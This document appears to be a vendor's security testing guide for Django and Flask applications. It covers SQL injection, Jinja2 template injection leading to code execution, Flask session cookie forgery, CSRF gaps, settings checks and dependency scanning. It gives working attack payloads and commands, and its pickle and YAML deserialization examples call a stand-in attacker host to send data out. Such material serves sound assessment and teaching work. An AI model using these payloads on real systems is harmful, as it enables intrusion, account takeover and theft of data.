Python Web Security Testing: Django and Flask Vulnerability Assessment Guide
Python is the dominant language for web backend development. Django and Flask between them power a significant share of web applications — from early-stage startups to large-scale SaaS platforms. Security testing Python applications requires understanding the specific vulnerability patterns that emerge from the ORM, templating engines, session handling, and the opinionated security defaults (or lack thereof) that each framework provides.
This guide covers the Django and Flask security testing methodology: where ORM protections break down, how Jinja2 SSTI works in practice, Flask session cookie forgery, CSRF protection gaps, and how to verify that the security settings Django ships are actually configured correctly.
Django ORM: Where SQL Injection Survives
Django's ORM prevents SQL injection by parameterizing queries automatically. Most Django developers know this — but several patterns bypass the ORM's protection and introduce SQLi vulnerabilities that automated scanners frequently miss because the injection is one layer of abstraction removed from the HTTP input.
Raw query injection paths
# Vulnerable: user-supplied value concatenated into raw query
results = User.objects.raw(
f"SELECT * FROM users WHERE username = '{request.GET['username']}'"
)
# Also vulnerable: extra() method with format strings
queryset = User.objects.extra(
where=[f"username = '{request.GET['q']}'"]
)
# Vulnerable: RawSQL() with user input
from django.db.models.expressions import RawSQL
queryset = User.objects.annotate(
val=RawSQL(f"SELECT 1 WHERE username='{input}'", [])
)
# Safe: parameterized raw queries
results = User.objects.raw(
"SELECT * FROM users WHERE username = %s",
[request.GET['username']]
)
Testing Django applications for SQLi
# Time-based blind SQLi via GET parameter
curl "https://target.example.com/search/?q=1' AND SLEEP(5)--"
# Error-based SQLi to identify Django/PostgreSQL backend
curl "https://target.example.com/search/?q=1'"
# Django debug mode: shows full traceback with query
# Production: may show generic 500
# SQLMap with Django-specific configuration
sqlmap -u "https://target.example.com/search/?q=1" \
--dbms=postgresql \
--level=5 \
--risk=3 \
--batch \
--technique=BEUSTQ
# If Django uses SQLite (common for smaller deployments)
sqlmap -u "https://target.example.com/search/?q=1" \
--dbms=sqlite
Django Debug Toolbar information disclosure
Applications deployed with DEBUG=True or with Django Debug Toolbar accessible in production expose SQL queries, environment variables, and request data to any visitor. This is a critical misconfiguration:
# Check if debug toolbar is accessible
curl -s "https://target.example.com/__debug__/sql/" | head -50
# Check for debug mode via error page
curl -s "https://target.example.com/nonexistent-path/" | grep -i "django"
# Debug mode returns full stack trace with Django version
# Also check for exposed admin
curl -s "https://target.example.com/admin/" | grep -i "django"
Jinja2 and Django Template Server-Side Template Injection
Server-side template injection in Python applications is particularly dangerous because it often leads directly to remote code execution via Python's standard library access from template context.
Identifying SSTI in Flask/Jinja2 applications
# Basic SSTI detection — math expression evaluation
# If input is reflected and evaluates, SSTI is present
curl "https://target.example.com/greet?name={{7*7}}"
# Response contains "49" → SSTI confirmed
# Jinja2 string filter chain — access to config
curl "https://target.example.com/greet?name={{config}}"
# Returns Flask config dict including SECRET_KEY
# Access Python builtins through Jinja2 globals
# This is the standard escalation path to RCE
curl "https://target.example.com/greet?name={{''.__class__.__mro__[1].__subclasses__()}}"
Jinja2 SSTI to RCE — the exploitation chain
# Step 1: Find subprocess.Popen in subclasses list
# The index varies — enumerate subclasses to find it
{{''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate()}}
# Alternative path via __import__
{{config.__class__.__init__.__globals__['__import__']('os').popen('id').read()}}
# Via request object in Flask
{{request.__class__.__mro__[1].__subclasses__()}}
# Encoded payload to bypass input filters
# URL-encode: {{ }} → %7B%7B %7D%7D
curl "https://target.example.com/greet?name=%7B%7Bconfig%7D%7D"
Django template language vs Jinja2
Django's default template language (DTL) does not execute arbitrary Python expressions and is therefore not vulnerable to classic SSTI RCE. However, applications that use Jinja2 as Django's template engine (configured in TEMPLATES settings) inherit Jinja2's expression evaluation and are vulnerable to the same attack chain.
# Check which template engine is in use
# Look for .j2 file extensions, or test expression evaluation
curl "https://target.example.com/test?q={{7*7}}" # Jinja2 — returns 49
curl "https://target.example.com/test?q={{7*7}}" # DTL — returns {{7*7}} literally
# Also test: Django templates that incorrectly render user data
# e.g., render_to_string() with user-supplied template content
# This is rare but does occur in CMS-style applications
Flask Session Cookie Forgery
Flask's default session implementation uses client-side cookies signed with the application's SECRET_KEY. If the secret key is weak or leaked, session cookies can be forged to impersonate any user including administrative accounts.
Identifying Flask session cookies
# Flask session cookies are base64-encoded JSON with a signature
# Format: eyJ... (base64) . timestamp . HMAC_SHA1_signature
# Decode a session cookie to inspect its contents
echo "eyJyb2xlIjoiZ3Vlc3QifQ.TIMESTAMP.SIGNATURE" | \
python3 -c "
import sys, base64
parts = sys.stdin.read().strip().split('.')
data = parts[0] + '==' # add padding
print(base64.urlsafe_b64decode(data).decode())
"
# Or use flask-unsign
pip install flask-unsign
flask-unsign --decode --cookie "eyJyb2xlIjoiZ3Vlc3QifQ.TIMESTAMP.SIGNATURE"
Brute-forcing the SECRET_KEY
# Flask-unsign includes wordlist attack capability
flask-unsign --unsign \
--cookie "eyJyb2xlIjoiZ3Vlc3QifQ.TIMESTAMP.SIGNATURE" \
--wordlist /usr/share/wordlists/rockyou.txt \
--no-literal-eval
# Common weak secret keys to try first
# "secret", "dev", "development", "change_me", "flask", app name, etc.
flask-unsign --unsign \
--cookie "SESSION_COOKIE" \
--wordlist common_flask_secrets.txt
Forging a session cookie once SECRET_KEY is known
# Forge session with admin role after recovering SECRET_KEY
flask-unsign --sign \
--cookie '{"user_id": 1, "role": "admin"}' \
--secret "recovered_secret_key"
# Use the forged cookie in subsequent requests
curl -s https://target.example.com/admin/ \
-b "session=FORGED_COOKIE_VALUE"
CSRF Protection Testing
Django CSRF middleware
Django's CSRF middleware is enabled by default via django.middleware.csrf.CsrfViewMiddleware. Common implementation failures:
# Test: state-changing endpoints that bypass CSRF checks
# 1. Check if endpoint uses @csrf_exempt decorator
# In source review, look for:
# from django.views.decorators.csrf import csrf_exempt
# 2. Test AJAX endpoints — common misconfiguration
# Django's CSRF skips validation for requests with the X-CSRFToken header
# if the cookie is present. Test without the cookie:
curl -s -X POST "https://target.example.com/api/user/update" \
-H "Content-Type: application/json" \
-H "X-CSRFToken: invalid" \
-d '{"email": "attacker@evil.com"}'
# 3. Test CORS + CSRF combination
# If CORS allows arbitrary origins AND CSRF uses cookie-based token,
# credentialed cross-origin requests may bypass protection
# 4. Check REST API endpoints — DRF SessionAuthentication requires CSRF
# TokenAuthentication does not — test which method each endpoint uses
curl -s -X DELETE "https://target.example.com/api/users/1/" \
-H "Authorization: Token USER_TOKEN"
# TokenAuthentication endpoints bypass CSRF — verify this is intended
Flask CSRF — WTForms and Flask-WTF
# Flask has no built-in CSRF protection
# Applications relying on Flask-WTF or Flask-SeaSurf
# Test state-changing POST without CSRF token
curl -s -X POST "https://target.example.com/profile/update" \
-b "session=SESSION_COOKIE" \
-d "email=attacker@evil.com"
# If Flask-WTF is in use, check for @csrf.exempt decorators on sensitive endpoints
# Also test: does CSRF validation apply to JSON content-type requests?
curl -s -X POST "https://target.example.com/api/update" \
-b "session=SESSION_COOKIE" \
-H "Content-Type: application/json" \
-d '{"email": "attacker@evil.com"}'
Django Security Settings Verification
Django ships with explicit security settings that must be configured for production deployments. A security assessment should verify these settings are in place:
| Setting | Required Value | How to Test |
|---|---|---|
DEBUG |
False |
Request non-existent URL — 404 should not show debug info |
SECRET_KEY |
Long, random, not default | Check for "django-insecure-" prefix; test session forgery |
ALLOWED_HOSTS |
Explicit domain list, not ['*'] |
HTTP request with arbitrary Host header — should return 400 |
SECURE_SSL_REDIRECT |
True |
HTTP request should redirect to HTTPS |
SESSION_COOKIE_SECURE |
True |
Set-Cookie header should contain Secure |
SESSION_COOKIE_HTTPONLY |
True |
Set-Cookie header should contain HttpOnly |
CSRF_COOKIE_SECURE |
True |
CSRF cookie should have Secure flag |
X_FRAME_OPTIONS |
'DENY' or 'SAMEORIGIN' |
Response header should include X-Frame-Options |
SECURE_CONTENT_TYPE_NOSNIFF |
True |
Response should include X-Content-Type-Options: nosniff |
SECURE_HSTS_SECONDS |
31536000 (1 year) | Response should include Strict-Transport-Security header |
Automated Django security settings check
# Django's built-in deployment checklist
python manage.py check --deploy
# Outputs all security warnings for production deployment
# Check security headers from outside
curl -I https://target.example.com/ | grep -iE "strict-transport|x-frame|x-content|content-security"
# Check cookie flags
curl -I https://target.example.com/login/ | grep -i "set-cookie"
# Look for: Secure; HttpOnly; SameSite=Lax (or Strict)
Insecure Deserialization in Python Applications
Pickle deserialization RCE
Python's pickle module is inherently unsafe when deserializing untrusted data. Applications that cache objects using pickle (Redis, Memcached, session stores) or accept pickled data from users are vulnerable to RCE:
# Generate a malicious pickle payload
python3 -c "
import pickle, os, base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('curl attacker.com/$(id)',))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(payload)
"
# If the application accepts base64-encoded cookie or parameter and unpickles it:
curl "https://target.example.com/api/" \
-H "X-Data: MALICIOUS_BASE64_PICKLE"
# Test: does the application use pickle for session storage?
# Django's signed cookie sessions use JSON (safe)
# But some apps configure pickle-based session backends
PyYAML unsafe load
# yaml.load() without Loader= is a deserialization vulnerability
# Malicious YAML payload executes arbitrary Python
python3 -c "
import yaml
payload = '!!python/object/apply:os.system [\"curl attacker.com\"]'
print(payload)
"
# Test: does the application accept YAML input?
# Common in configuration endpoints, API imports, data upload features
curl -s -X POST "https://target.example.com/api/import" \
-H "Content-Type: application/yaml" \
-d '!!python/object/apply:os.system ["id"]'
Django Admin Exposure
# Check default admin URL
curl -I https://target.example.com/admin/
# 302 redirect to /admin/login/ → admin is exposed at default path
# Check non-standard admin paths (common security measure to change URL)
for path in admin administrator manage backend control-panel; do
status=$(curl -so /dev/null -w "%{http_code}" https://target.example.com/$path/)
echo "$path: $status"
done
# Test admin login for common credentials
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.example.com https-post-form \
"/admin/login/:username=^USER^&password=^PASS^&csrfmiddlewaretoken=VALID_TOKEN:Please enter the correct"
# Admin exposed to internet is HIGH severity regardless of strong password
# It should be restricted by IP or VPN at network level
Dependency Vulnerability Scanning
# Identify Python dependencies from requirements.txt or Pipfile
# Scan with safety (checks PyPI Safety DB)
pip install safety
safety check -r requirements.txt
# Or with pip-audit (uses OSV database)
pip install pip-audit
pip-audit -r requirements.txt
# Key packages to check for known CVEs:
# Django — check version against CVE list at djangoproject.com/weblog/
# Pillow — frequent image processing CVEs
# cryptography — TLS/cipher vulnerabilities
# PyJWT — token validation bypass vulnerabilities
# requests — SSRF and redirect vulnerabilities
Running Django or Flask in production? Ironimo's automated scanning covers Django security misconfigurations, dependency vulnerabilities, SSTI detection, and the OWASP Top 10 — without the manual assessment overhead.
Start free scan